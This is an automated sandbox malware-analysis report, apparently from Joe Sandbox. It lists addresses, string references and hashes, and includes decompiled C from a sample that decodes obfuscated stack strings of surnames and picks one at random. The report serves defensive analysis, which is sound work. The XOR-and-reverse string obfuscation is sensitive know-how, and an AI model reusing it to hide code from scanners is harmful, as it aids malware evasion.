0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adf3
0x0040adf3
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

e, xrefs: 00409AFB
g, xrefs: 004096A6
E, xrefs: 0040A03F
3, xrefs: 00409986
E, xrefs: 00409CAA
V, xrefs: 0040A75E
L, xrefs: 0040A04F
:, xrefs: 0040A80C
K, xrefs: 00409C05
d, xrefs: 0040A878
T, xrefs: 00409D6A
7, xrefs: 00409C15
\, xrefs: 0040A03A
^, xrefs: 0040A595
_, xrefs: 00409475
$, xrefs: 00409AD2
$, xrefs: 0040A7EC
d, xrefs: 0040A868
;, xrefs: 00409CC3
-, xrefs: 00409706
c, xrefs: 0040A98F
*, xrefs: 00409B03
Z, xrefs: 0040AA1E
%, xrefs: 00409A43
;, xrefs: 0040A62E
{, xrefs: 0040A170
!, xrefs: 0040A565
[, xrefs: 004099BE
7, xrefs: 0040A5C5
), xrefs: 0040980D
i, xrefs: 00409E0D
L, xrefs: 0040AA35
I, xrefs: 0040990F
4, xrefs: 00409465
&, xrefs: 0040A51D
K, xrefs: 00409F8E
o, xrefs: 004098F0
&, xrefs: 004095A9
q, xrefs: 00409AF3
", xrefs: 0040A047
J, xrefs: 004096B6
H, xrefs: 0040A0A1
Z, xrefs: 00409E9F
d, xrefs: 0040A96F
", xrefs: 0040AA3D
B, xrefs: 00409F86
;, xrefs: 0040A5BD
D, xrefs: 0040A7E4
4, xrefs: 00409D95
p, xrefs: 0040A3C2
., xrefs: 00409FA0
1, xrefs: 00409BED
#, xrefs: 0040A626
K, xrefs: 00409EA7
u, xrefs: 0040A880
I, xrefs: 0040A58D
-, xrefs: 0040A33F
., xrefs: 00409F96
c, xrefs: 00409591
l, xrefs: 0040998E
8, xrefs: 0040991F
t, xrefs: 00409E87
4, xrefs: 00409CDB
E, xrefs: 0040A236
h, xrefs: 0040A69E
{, xrefs: 0040AA4F
V, xrefs: 00409F66
<, xrefs: 00409739
O, xrefs: 00409F6E
., xrefs: 00409CCB
f, xrefs: 0040999E
_, xrefs: 00409B95
_, xrefs: 00409AAB
E, xrefs: 0040AA59
*, xrefs: 0040A5A5
4, xrefs: 0040AA23
?, xrefs: 0040A555
s, xrefs: 0040A804
[, xrefs: 00409E97
G, xrefs: 0040997E
6, xrefs: 00409A5B
}, xrefs: 0040A34F
q, xrefs: 00409BAD
Z, xrefs: 00409CEB
a, xrefs: 004095A1
F, xrefs: 0040A63E
T, xrefs: 0040A7DC
C, xrefs: 00409F76
:, xrefs: 0040A3E2
I, xrefs: 0040A834
>, xrefs: 0040981D
o, xrefs: 0040A870
9, xrefs: 0040A1D2
3, xrefs: 00409CD3
_, xrefs: 0040A61E
t, xrefs: 0040A858
r, xrefs: 0040A860
`, xrefs: 0040A68E
K, xrefs: 00409A4B
P, xrefs: 0040A766
P, xrefs: 0040A64E
I, xrefs: 00409A8B
/, xrefs: 004098DE
J, xrefs: 0040AA4A
n, xrefs: 00409D85
_, xrefs: 0040A814
-, xrefs: 0040992F
5, xrefs: 0040A646
d, xrefs: 0040A160
}, xrefs: 0040A505
l, xrefs: 0040A987
j, xrefs: 0040A0B1
Z, xrefs: 00409D00
), xrefs: 00409D7D
], xrefs: 0040A97F
9, xrefs: 0040A057
, xrefs: 0040A4FD
+, xrefs: 0040A83C
5, xrefs: 0040961C
<, xrefs: 00409A73
[, xrefs: 0040A1F2
=, xrefs: 00409CE3
i, xrefs: 004096CE
#, xrefs: 00409E1D
^, xrefs: 00409F7E
2, xrefs: 0040A3DA
', xrefs: 0040A844
g, xrefs: 0040A0A9
}, xrefs: 00409485
O, xrefs: 0040A5D5
j, xrefs: 00409624
@, xrefs: 0040A030
&, xrefs: 0040A32F
5, xrefs: 00409C8B
), xrefs: 0040A8BB
o, xrefs: 004098E6

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $!$"$"$#$#$$$$$%$&$&$&$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$:$:$;$;$;$<$<$=$>$?$@$B$C$D$E$E$E$E$F$G$H$I$I$I$I$J$J$K$K$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$q$q$r$s$t$t$u${${$}$}$}
API String ID: 0-3297533030
Opcode ID: 9734495f0153ecec2cf01b9a4dca97a1dfafc6ef985eb03a3636cae28935d556
Instruction ID: 4a09c9a39e917bc68c13992b0478fc80f68ae0100f90027f7878c0eab4d2431f
Opcode Fuzzy Hash: 9734495f0153ecec2cf01b9a4dca97a1dfafc6ef985eb03a3636cae28935d556
Instruction Fuzzy Hash: 81E2A02000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF78, Relevance: 163.2, Strings: 130, Instructions: 653
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0040EF78(void* __eax, char __ebx, void* __edi, void* __esi, void* __ebp, signed char* _a4, char* _a8, char* _a12, intOrPtr _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, signed char* _a44, char* _a48, intOrPtr _a52, signed char* _a56, char* _a60, char* _a64, intOrPtr _a68, char* _a72, char* _a76, signed int* _a80, intOrPtr _a84, char* _a88, intOrPtr _a92, char* _a96, char* _a100, signed int* _a104, intOrPtr _a108, signed char* _a112, char* _a116, char* _a120, signed char* _a124, intOrPtr _a128, signed int* _a132, char* _a136, intOrPtr _a140, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, signed char _a164, signed char _a165, signed char _a166, signed char _a167, signed char _a168, signed char _a169, signed int _a172, signed int _a173, signed int _a174, signed int _a175, signed int _a176, signed int _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, signed int _a184, signed int _a185, signed int _a186, signed int _a187, signed int _a188, signed int _a189, signed int _a190, signed int _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, char _a199, char _a200, signed char _a204, signed char _a205, signed char _a206, signed char _a207, signed char _a208, signed char _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a215, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a236, char _a244, char _a245, char _a246, char _a247, char _a248, char _a249, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a276, char _a277, char _a278, char _a279, char _a280, char _a281, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a317, char _a318, char _a319, char _a320, char _a321, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a338, char _a340, signed char _a348, signed char _a349, signed char _a350, signed char _a351, signed char _a352, signed char _a353, signed char _a354, char _a364, char _a372, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a388, signed char _a396, signed char _a397, signed char _a398, signed char _a399, signed char _a400, signed char _a401, signed char _a402, char _a408, char _a409, char _a410, char _a411, char _a412, char _a413, char _a414, char _a415, char _a416, char _a417, char _a418, char _a419, signed char _a420, signed char _a421, signed char _a422, signed char _a423, signed char _a424, signed char _a425, signed char _a426, signed char _a427, char _a432, signed char _a436, signed char _a437, signed char _a438, signed char _a439, signed char _a440, signed char _a441, signed char _a442, signed char _a443, char _a444, char _a445, char _a446, char _a447, char _a448, char _a449, char _a450, char _a451, char _a452, char _a456, char _a468, char _a469, char _a470, char _a471, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, intOrPtr _a488) {
				char* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				char* _v12;
				char* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				char _v41;
				void* _t532;
				void* _t541;
				void* _t548;
				char* _t556;
				void* _t559;
				void* _t568;
				intOrPtr _t570;
				signed int _t574;
				intOrPtr* _t576;
				char _t582;
				char _t590;
				char _t595;
				char _t604;
				void* _t616;
				signed char _t623;
				signed char _t625;
				signed int _t649;
				intOrPtr _t650;
				char _t686;
				intOrPtr _t714;
				void* _t715;
				void* _t717;
				void* _t718;
				void* _t719;
				void* _t720;
				void* _t721;
				void* _t722;
				intOrPtr _t726;
				void* _t728;

				_t717 = __esi;
				_t532 = __eax;
				do {
					_t582 =  *((intOrPtr*)(_t728 + _t532 + 0xd0));
					 *((char*)(_t728 + _t532 + 0xd0)) =  *((intOrPtr*)(_t728 + _t717 + 0xd0));
					_t532 = _t532 + 1;
					 *((char*)(_t728 + _t717 + 0xd0)) = _t582;
					_t717 = _t717 - 1;
				} while (_t532 < _t717);
				_a436 = _a208 ^ 0x00000014;
				_a437 = _a209 ^ 0x000000a8;
				_a438 = _a210 ^ 0x00000037;
				_a439 = _a211 ^ 0x00000028;
				_a440 = _a212 ^ 0x00000035;
				_a441 = _a213 ^ 0x00000017;
				_a442 = _a214 ^ 0x000000aa;
				_push(6);
				_a443 = _a215 ^ 0x00000083;
				_push( &_a284);
				 *0x431c89 = 0x19;
				_a284 = 0x88;
				_a285 = 0x9c;
				_a286 = 0x95;
				_a287 = 0x1d;
				_a288 = 0xbd;
				_a289 = 0x48;
				_a228 = 0xbc;
				_a229 = 0xd1;
				_a230 = 0xbe;
				_a231 = 0xd2;
				_a232 = 0xbe;
				_a233 = 0xc7;
				_a16 = E0040D980( &_a228);
				_a192 = 0xf0;
				_a193 = 0x33;
				_a194 = 0x7f;
				_a195 = 0x8f;
				_a196 = 0xd4;
				_a197 = 0x7b;
				_a198 = 0x1c;
				_t541 = 0;
				_t718 = 6;
				do {
					_t590 =  *((intOrPtr*)(_t728 + _t541 + 0xc8));
					 *((char*)(_t728 + _t541 + 0xc8)) =  *((intOrPtr*)(_t728 + _t718 + 0xc8));
					_t541 = _t541 + 1;
					 *((char*)(_t728 + _t718 + 0xc8)) = _t590;
					_t718 = _t718 - 1;
				} while (_t541 < _t718);
				_a396 = _a192 ^ 0x00000071;
				_a399 = _a195 ^ 0x000000e3;
				_a397 = _a193 ^ 0x00000012;
				_a398 = _a194 ^ 0x000000b8;
				_a402 = _a198 ^ 0x000000f0;
				_a400 = _a196 ^ 0x0000001a;
				_a401 = _a197 ^ 0x00000041;
				_a192 = 0xac;
				_a193 = 0x88;
				_a194 = 0x4a;
				_a195 = 0xc7;
				_a196 = 0xee;
				_a197 = 0x67;
				_a198 = 0xfc;
				_t548 = 0;
				_t719 = 6;
				do {
					_t595 =  *((intOrPtr*)(_t728 + _t548 + 0xc8));
					 *((char*)(_t728 + _t548 + 0xc8)) =  *((intOrPtr*)(_t728 + _t719 + 0xc8));
					_t548 = _t548 + 1;
					 *((char*)(_t728 + _t719 + 0xc8)) = _t595;
					_t719 = _t719 - 1;
				} while (_t548 < _t719);
				_a348 = _a192 ^ 0x0000008b;
				_a349 = _a193 ^ 0x0000000e;
				_a351 = _a195 ^ 0x000000b4;
				_a352 = _a196 ^ 0x00000025;
				_a350 = _a194 ^ 0x00000082;
				_a380 = 0xdb;
				_a198 = 0xdb;
				_push(7);
				_a354 = _a198 ^ 0x000000ac;
				_push( &_a380);
				_a353 = _a197 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a324 = 0x6d;
				_a325 = 0x6f;
				_a326 = 0x6f;
				_a327 = 0x72;
				_a328 = 0x65;
				_a329 = __ebx;
				_a381 = 0x81;
				_a382 = 0xe5;
				_a383 = 0x9f;
				_a384 = 0x3e;
				_a385 = 0x36;
				_a386 = 0x71;
				_a192 = 0xc6;
				_a193 = 0xb2;
				_a194 = 0xd3;
				_a195 = 0xaa;
				_a196 = 0xc6;
				_a197 = 0xa9;
				_t556 = E0040D980( &_a192);
				_push(7);
				_push( &_a396);
				_a12 = _t556;
				_a472 = 0x61;
				_a473 = 0x6e;
				_a474 = 0x64;
				_a475 = 0x65;
				_a476 = 0x72;
				_a477 = 0x73;
				_a478 = 0x6f;
				_a479 = 0x6e;
				_a480 = __ebx;
				_a396 = 0xae;
				_a397 = 0xa8;
				_a398 = 0xa6;
				_a399 = 0xbf;
				_a400 = 0x70;
				_a401 = 0x89;
				_a402 = 0x13;
				_a184 = 0x11;
				_a185 = 0x65;
				_a186 = 0xd;
				_a187 = 0x62;
				_a188 = 0xf;
				_a189 = 0x6e;
				_a190 = 0x1d;
				_a12 = E0040D980( &_a184);
				_a184 = 0xa8;
				_a185 = 0xa2;
				_a186 = 0xaf;
				_a187 = 0xb1;
				_a188 = 0x15;
				_a189 = 0xd5;
				_a190 = 0x82;
				_a191 = 0x58;
				_push(0);
				_pop(_t559);
				_t720 = 7;
				do {
					_t604 =  *((intOrPtr*)(_t728 + _t559 + 0xd0));
					 *((char*)(_t728 + _t559 + 0xd0)) =  *((intOrPtr*)(_t728 + _t720 + 0xd0));
					_t559 = _t559 + 1;
					 *((char*)(_t728 + _t720 + 0xd0)) = _t604;
					_t720 = _t720 - 1;
				} while (_t559 < _t720);
				_a421 = _a185 ^ 0x000000e3;
				_a420 = _a184 ^ 0x00000032;
				_a422 = _a186 ^ 0x000000b6;
				_a424 = _a188 ^ 0x000000c2;
				_a423 = _a187 ^ 0x0000007e;
				_a425 = _a189 ^ 0x000000c0;
				_push(7);
				_a427 = _a191 ^ 0x000000a8;
				_push( &_a348);
				_a426 = _a190 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a316 = 0x77;
				_a317 = 0x68;
				_a318 = 0x69;
				_a319 = 0x74;
				_a320 = 0x65;
				_a321 = __ebx;
				_a396 = 0x68;
				_a397 = 0x61;
				_a398 = 0x72;
				_a399 = 0x72;
				_a400 = 0x69;
				_a401 = 0x73;
				_a402 = __ebx;
				_a348 = 0x2a;
				_a349 = 0x9c;
				_a350 = 0xed;
				_a351 = 0x35;
				_a352 = 0x4a;
				_a353 = 0x35;
				_a354 = 0x68;
				_a176 = 0x4f;
				_a177 = 0x22;
				_a178 = 0x43;
				_a179 = 0x31;
				_a180 = 0x45;
				_a181 = 0x2c;
				_a182 = 0x42;
				_t714 = E0040D980( &_a176);
				_a444 = 0x74;
				_a445 = 0x68;
				_a446 = 0x6f;
				_a447 = 0x6d;
				_a448 = 0x70;
				_a449 = 0x73;
				_a450 = 0x6f;
				_a451 = 0x6e;
				_a452 = __ebx;
				_a332 = 0x67;
				_a333 = 0x61;
				_a334 = 0x72;
				_a335 = 0x63;
				_a336 = 0x69;
				_a337 = 0x61;
				_a338 = __ebx;
				_a468 = 0x37;
				_a469 = 0x36;
				_a470 = 0xb3;
				_a471 = 0xc1;
				_a472 = 0x69;
				_a473 = 0x80;
				_push(9);
				_push( &_a468);
				_a474 = 0xc4;
				_a475 = 0x8e;
				_a476 = 0x89;
				_a176 = 0x60;
				_a177 = 0xd;
				_a178 = 0x6c;
				_a179 = 0x1e;
				_a180 = 0x6a;
				_a181 = 3;
				_a182 = 0x6d;
				_a183 = 8;
				_a184 = 0x72;
				_t568 = E0040D980( &_a176);
				_push(6);
				_push( &_a276);
				_t726 = _t568;
				_a412 = 0x72;
				_a413 = 0x6f;
				_a414 = 0x62;
				_a415 = 0x69;
				_a416 = 0x6e;
				_a417 = 0x73;
				_a418 = 0x6f;
				_a419 = 0x6e;
				_a420 = __ebx;
				_a252 = 0x63;
				_a253 = 0x6c;
				_a254 = 0x61;
				_a255 = 0x72;
				_a256 = 0x6b;
				_a257 = __ebx;
				_a472 = 0x72;
				_a473 = 0x6f;
				_a474 = 0x64;
				_a475 = 0x72;
				_a476 = 0x69;
				_a477 = 0x67;
				_a478 = 0x75;
				_a479 = 0x65;
				_a480 = 0x7a;
				_a481 = __ebx;
				_a276 = 0xfd;
				_a277 = 0xda;
				_a278 = 0x64;
				_a279 = 0xb0;
				_a280 = 0x5d;
				_a281 = 0x6c;
				_a188 = 0xc2;
				_a189 = 0xae;
				_a190 = 0xcb;
				_a191 = 0xbc;
				_a192 = 0xd5;
				_a193 = 0xa6;
				_v16 = E0040D980( &_a188);
				_v28 = 0x6c;
				_v27 = 0x65;
				_v26 = 0x65;
				_v25 = __ebx;
				_a332 = 0x77;
				_a333 = 0x61;
				_a334 = 0x6c;
				_a335 = 0x6b;
				_a336 = 0x65;
				_a337 = 0x72;
				_a338 = __ebx;
				_a196 = 0x68;
				_a197 = 0x61;
				_a198 = 0x6c;
				_a199 = 0x6c;
				_a200 = __ebx;
				_a276 = 0x61;
				_a277 = 0x6c;
				_a278 = 0x6c;
				_a279 = 0x65;
				_push(5);
				_push( &_a204);
				_a280 = 0x6e;
				_a281 = __ebx;
				_a260 = 0x79;
				_a261 = 0x6f;
				_a262 = 0x75;
				_a263 = 0x6e;
				_a264 = 0x67;
				_a265 = __ebx;
				_a476 = 0x68;
				_a477 = 0x65;
				_a478 = 0x72;
				_a479 = 0x6e;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x7a;
				_a485 = __ebx;
				_a188 = 0x6b;
				_a189 = 0x69;
				_a190 = 0x6e;
				_a191 = 0x67;
				_a192 = __ebx;
				_a348 = 0x77;
				_a349 = 0x72;
				_a350 = 0x69;
				_a351 = 0x67;
				_a352 = 0x68;
				_a353 = 0x74;
				_a354 = __ebx;
				_a220 = 0x6c;
				_a221 = 0x6f;
				_a222 = 0x70;
				_a223 = 0x65;
				_a224 = 0x7a;
				_a225 = __ebx;
				_a204 = 0xc7;
				_a205 = 0x35;
				_a206 = 0x64;
				_a207 = 0x14;
				_a208 = 0x23;
				_a172 = 0x60;
				_a173 = 8;
				_a174 = 0x61;
				_a175 = 0xd;
				_a176 = 0x61;
				_t570 = E0040D980( &_a172);
				_a164 = 0x68;
				_a165 = 0x3e;
				_a166 = 0xbb;
				_a167 = 0xf0;
				_a168 = 0xec;
				_a169 = 0xa1;
				_t616 = 0;
				_t721 = 5;
				do {
					_v41 =  *((intOrPtr*)(_t728 + _t616 + 0xe0));
					 *((char*)(_t728 + _t616 + 0xe0)) =  *((intOrPtr*)(_t728 + _t721 + 0xe0));
					_t616 = _t616 + 1;
					 *((char*)(_t728 + _t721 + 0xe0)) = _v41;
					_t721 = _t721 - 1;
				} while (_t616 < _t721);
				_a204 = _a164 ^ 0x000000d2;
				_a205 = _a165 ^ 0x0000008f;
				_a206 = _a166 ^ 0x0000009f;
				_a207 = _a167 ^ 0x000000cf;
				_a208 = _a168 ^ 0x0000004a;
				_t623 = 5;
				_a209 = _a169 ^ 0x00000068;
				_a244 = 0x67;
				_a245 = 0x72;
				_a246 = 0x65;
				_a247 = 0x65;
				_a248 = 0x6e;
				_a249 = __ebx;
				_a144 = 0x61;
				_a145 = 0x64;
				_a146 = 0x61;
				_a147 = 0x6d;
				_a148 = 0x73;
				_a149 = __ebx;
				_a172 = 0x7a;
				_a173 = 0x24;
				_a174 = 0x9b;
				_a175 = 6;
				_a176 = 0x77;
				_a177 = 0xe5;
				_t722 = 0;
				_a164 = 5;
				do {
					_t686 =  *((intOrPtr*)(_t728 + _t722 + 0xe8));
					 *((char*)(_t728 + _t722 + 0xe8)) =  *((intOrPtr*)(_t728 + _t623 + 0xe8));
					_t625 = _a164;
					_t722 = _t722 + 1;
					 *((char*)(_t728 + _t625 + 0xe8)) = _t686;
					_t623 = _t625 - 1;
					_v41 = _t686;
					_a164 = _t623;
				} while (_t722 < _t623);
				_a164 = _a172 ^ 0x00000087;
				_a165 = _a173 ^ 0x00000016;
				_a166 = _a174 ^ 0x0000006d;
				_a167 = _a175 ^ 0x000000fe;
				_a168 = _a176 ^ 0x00000056;
				_a169 = _a177 ^ 0x0000007a;
				_v16 =  &_a292;
				_v12 =  &_v40;
				_t426 =  &_a220; // 0x6c
				_v8 = _t426;
				_t428 =  &_a372; // 0x68
				_v4 = _t428;
				_v0 =  &_a380;
				_a4 =  &_a348;
				_a8 =  &_a300;
				_a12 =  &_a276;
				_a16 = _v28;
				_a20 =  &_a432;
				_a24 = _v20;
				_a28 =  &_a388;
				_t446 =  &_a284; // 0x65
				_a32 = _t446;
				_a36 =  &_a364;
				_a44 =  &_a420;
				_a48 =  &_a308;
				_a56 =  &_a396;
				 *0x431c89 = 0x19;
				_a408 = 0x67;
				_a409 = 0x6f;
				_a410 = 0x6e;
				_a411 = 0x7a;
				_a412 = 0x61;
				_a413 = 0x6c;
				_a414 = 0x65;
				_a415 = 0x7a;
				_a416 = __ebx;
				_a172 = 0x6e;
				_a173 = 0x65;
				_a174 = 0x6c;
				_a175 = 0x73;
				_a176 = 0x6f;
				_a177 = 0x6e;
				_a178 = __ebx;
				_a152 = 0x63;
				_a153 = 0x61;
				_a154 = 0x72;
				_a155 = 0x74;
				_a156 = 0x65;
				_a157 = 0x72;
				_a158 = __ebx;
				_a40 = _t714;
				_a52 = _t726;
				_a60 =  &_a236;
				_a64 =  &_a456;
				_a68 = _v24;
				_a72 =  &_v36;
				_a76 =  &_a324;
				_a80 =  &_a188;
				_t493 =  &_a268; // 0x61
				_a84 = _t493;
				_a88 =  &_a252;
				_t497 =  &_a468; // 0x69
				_a92 = _t497;
				_a96 =  &_a180;
				_a100 =  &_a340;
				_a108 = _t570;
				_a104 =  &_a212;
				_a112 =  &_a204;
				_a116 =  &_a244;
				_t512 =  &_a408; // 0x67
				_a120 =  &_a144;
				_a124 =  &_a164;
				_a128 = _t512;
				_a132 =  &_a172;
				_a136 =  &_a152;
				_a140 = _v32;
				_t574 = E0040C1D0( &_a172);
				_t649 = 0x28;
				_t723 =  *((intOrPtr*)(_t728 + 0x28 + _t574 % _t649 * 4));
				_t576 =  *((intOrPtr*)(_t728 + 0x28 + _t574 % _t649 * 4));
				_t715 = _t576 + 1;
				do {
					_t650 =  *_t576;
					_t576 = _t576 + 1;
				} while (_t650 != __ebx);
				return E00424873(E004028A0(_a488, _t723, _t576 - _t715), _a472);
			}

0x0040ef78
0x0040ef78
0x0040ef80
0x0040ef87
0x0040ef8e
0x0040ef95
0x0040ef96
0x0040ef9d
0x0040ef9e
0x0040efbc
0x0040efca
0x0040efe0
0x0040efee
0x0040effc
0x0040f012
0x0040f019
0x0040f022
0x0040f02b
0x0040f032
0x0040f03a
0x0040f041
0x0040f049
0x0040f051
0x0040f059
0x0040f061
0x0040f069
0x0040f071
0x0040f079
0x0040f081
0x0040f088
0x0040f090
0x0040f097
0x0040f0a4
0x0040f0a8
0x0040f0b0
0x0040f0b8
0x0040f0c0
0x0040f0c8
0x0040f0d0
0x0040f0d8
0x0040f0e0
0x0040f0e6
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c4
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
0x0040f3b6
0x0040f3be
0x0040f3c6
0x0040f3ce
0x0040f3d6
0x0040f3de
0x0040f3e6
0x0040f3f3
0x0040f3f7
0x0040f3ff
0x0040f407
0x0040f40f
0x0040f417
0x0040f41f
0x0040f427
0x0040f42f
0x0040f439
0x0040f43a
0x0040f43d
0x0040f440
0x0040f447
0x0040f44e
0x0040f455
0x0040f456
0x0040f45d
0x0040f45e
0x0040f47c
0x0040f48d
0x0040f49e
0x0040f4ae
0x0040f4c0
0x0040f4d1
0x0040f4d8
0x0040f4e3
0x0040f4ea
0x0040f4f2
0x0040f4f9
0x0040f500
0x0040f508
0x0040f510
0x0040f518
0x0040f520
0x0040f528
0x0040f52f
0x0040f537
0x0040f53f
0x0040f547
0x0040f54f
0x0040f557
0x0040f55f
0x0040f566
0x0040f56e
0x0040f576
0x0040f57e
0x0040f586
0x0040f58e
0x0040f596
0x0040f59e
0x0040f5a6
0x0040f5ae
0x0040f5b6
0x0040f5be
0x0040f5c6
0x0040f5ce
0x0040f5db
0x0040f5dd
0x0040f5e5
0x0040f5ed
0x0040f5f5
0x0040f5fd
0x0040f605
0x0040f60d
0x0040f615
0x0040f61d
0x0040f624
0x0040f62c
0x0040f634
0x0040f63c
0x0040f644
0x0040f64c
0x0040f654
0x0040f65b
0x0040f663
0x0040f66b
0x0040f673
0x0040f67b
0x0040f683
0x0040f68b
0x0040f694
0x0040f69c
0x0040f6a4
0x0040f6ac
0x0040f6b4
0x0040f6bc
0x0040f6c4
0x0040f6cc
0x0040f6d4
0x0040f6dc
0x0040f6e4
0x0040f6ec
0x0040f6f4
0x0040f6fc
0x0040f701
0x0040f70a
0x0040f713
0x0040f714
0x0040f71c
0x0040f724
0x0040f72c
0x0040f734
0x0040f73c
0x0040f744
0x0040f74c
0x0040f754
0x0040f75b
0x0040f763
0x0040f76b
0x0040f773
0x0040f77b
0x0040f783
0x0040f78a
0x0040f792
0x0040f79a
0x0040f7a2
0x0040f7aa
0x0040f7b2
0x0040f7ba
0x0040f7c2
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7e1
0x0040f7e9
0x0040f7f1
0x0040f7f9
0x0040f801
0x0040f809
0x0040f811
0x0040f819
0x0040f821
0x0040f829
0x0040f831
0x0040f83e
0x0040f842
0x0040f847
0x0040f84c
0x0040f851
0x0040f855
0x0040f85d
0x0040f865
0x0040f86d
0x0040f875
0x0040f87d
0x0040f885
0x0040f88c
0x0040f894
0x0040f89c
0x0040f8a4
0x0040f8ac
0x0040f8b3
0x0040f8bb
0x0040f8c3
0x0040f8cb
0x0040f8d3
0x0040f8dc
0x0040f8e4
0x0040f8ec
0x0040f8f3
0x0040f8fb
0x0040f903
0x0040f90b
0x0040f913
0x0040f91b
0x0040f922
0x0040f92a
0x0040f932
0x0040f93a
0x0040f942
0x0040f94a
0x0040f952
0x0040f95a
0x0040f962
0x0040f96a
0x0040f971
0x0040f979
0x0040f981
0x0040f989
0x0040f991
0x0040f998
0x0040f9a0
0x0040f9a8
0x0040f9b0
0x0040f9b8
0x0040f9c0
0x0040f9c8
0x0040f9cf
0x0040f9d7
0x0040f9df
0x0040f9e7
0x0040f9ef
0x0040f9f7
0x0040f9fe
0x0040fa06
0x0040fa0e
0x0040fa16
0x0040fa1e
0x0040fa26
0x0040fa2e
0x0040fa36
0x0040fa3e
0x0040fa46
0x0040fa4e
0x0040fa53
0x0040fa5b
0x0040fa63
0x0040fa6b
0x0040fa73
0x0040fa7b
0x0040fa83
0x0040fa89
0x0040fa90
0x0040fa97
0x0040faa2
0x0040faad
0x0040faae
0x0040fab5
0x0040fab6
0x0040facb
0x0040fadf
0x0040faed
0x0040fb01
0x0040fb0f
0x0040fb19
0x0040fb1e
0x0040fb25
0x0040fb2d
0x0040fb35
0x0040fb3d
0x0040fb45
0x0040fb4d
0x0040fb54
0x0040fb5c
0x0040fb64
0x0040fb6c
0x0040fb74
0x0040fb7c
0x0040fb83
0x0040fb8b
0x0040fb93
0x0040fb9b
0x0040fba3
0x0040fbab
0x0040fbb3
